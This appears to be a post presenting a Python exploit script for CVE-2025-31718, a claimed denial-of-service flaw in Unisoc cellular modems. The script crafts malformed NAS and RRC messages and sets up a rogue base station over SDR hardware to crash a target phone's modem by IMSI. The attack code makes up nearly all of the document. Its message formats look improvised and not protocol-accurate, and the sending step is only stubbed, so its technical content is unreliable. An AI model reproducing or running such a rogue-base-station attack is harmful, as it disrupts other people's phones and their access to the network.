CVE-2025-31718 Unisoc调制解调器输入验证不当导致系统崩溃漏洞

# CVE-2025-31718 - Unisoc Modem Input Validation DoS PoC # This PoC demonstrates the concept of triggering a system crash # in Unisoc modem via malformed cellular protocol messages. # Requires a software-defined radio (SDR) setup with a rogue base station. #!/usr/bin/env python3 """ CVE-2025-31718 Proof of Concept Vulnerability: Improper input validation in Unisoc Modem Impact: Remote system crash (Denial of Service) CVSS: 7.5 (HIGH) """ from scapy.all import * import struct class UnisocModemDoS: def __init__(self, target_imsi=None, target_tac=None): self.target_imsi = target_imsi or "001010000000001" self.target_tac = target_tac or "0001" self.rogue_bs_config = { "arfcn": 100, # Absolute Radio Frequency Channel Number "band": "GSM900", # Operating band "mcc": "001", # Mobile Country Code "mnc": "01", # Mobile Network Code "lac": "0001", # Location Area Code "cell_id": "0001", # Cell Identity } def craft_malformed_nas_message(self): """ Craft a malformed NAS (Non-Access Stratum) message with invalid length fields to trigger improper input validation. """ # NAS Security Header - indicating integrity protected but malformed nas_security_header = b'\x00' # Message type - Attach Request (0x01) with malformed payload message_type = b'\x01' # Intentionally malformed TLV with oversized length field malformed_tlv = struct.pack(">BB", 0x80, 0xFF) + b'\x41' * 255 payload = nas_security_header + message_type + malformed_tlv return payload def craft_malformed_rrc_message(self): """ Craft a malformed RRC (Radio Resource Control) message targeting the modem's input validation weakness. """ # RRC Connection Reconfiguration with invalid configuration rrc_message = b'\x30\x00' # RRC message type rrc_message += b'\xFF\xFF' # Invalid length indicator rrc_message += b'\x00' * 512 # Oversized payload return rrc_message def send_via_sdr(self, message): """ Send the crafted message via SDR (e.g., using gr-gsm or srsRAN) This is a conceptual implementation - actual transmission requires hardware like USRP B210 or HackRF One. """ print(f"[*] Configuring rogue base station on ARFCN {self.rogue_bs_config['arfcn']}") print(f"[*] Target IMSI: {self.target_imsi}") print(f"[*] Broadcasting malformed message ({len(message)} bytes)") print(f"[!] WARNING: This will cause the target modem to crash") # In real implementation: # os.system(f"grgsm_livemon -f {self.rogue_bs_config['arfcn']}M") # os.system(f"send_burst.py --message {message.hex()}") return True def exploit(self): """Main exploit function""" print("=" * 60) print("CVE-2025-31718 - Unisoc Modem DoS Exploit") print("=" * 60) # Step 1: Broadcast on a legitimate ARFCN to attract target print("[*] Step 1: Broadcasting as rogue base station...") # Step 2: Send malformed NAS message print("[*] Step 2: Sending malformed NAS message...") nas_msg = self.craft_malformed_nas_message() self.send_via_sdr(nas_msg) # Step 3: Send malformed RRC message print("[*] Step 3: Sending malformed RRC message...") rrc_msg = self.craft_malformed_rrc_message() self.send_via_sdr(rrc_msg) print("[+] Exploit completed - target modem should have crashed") if __name__ == "__main__": exploit = UnisocModemDoS() exploit.exploit()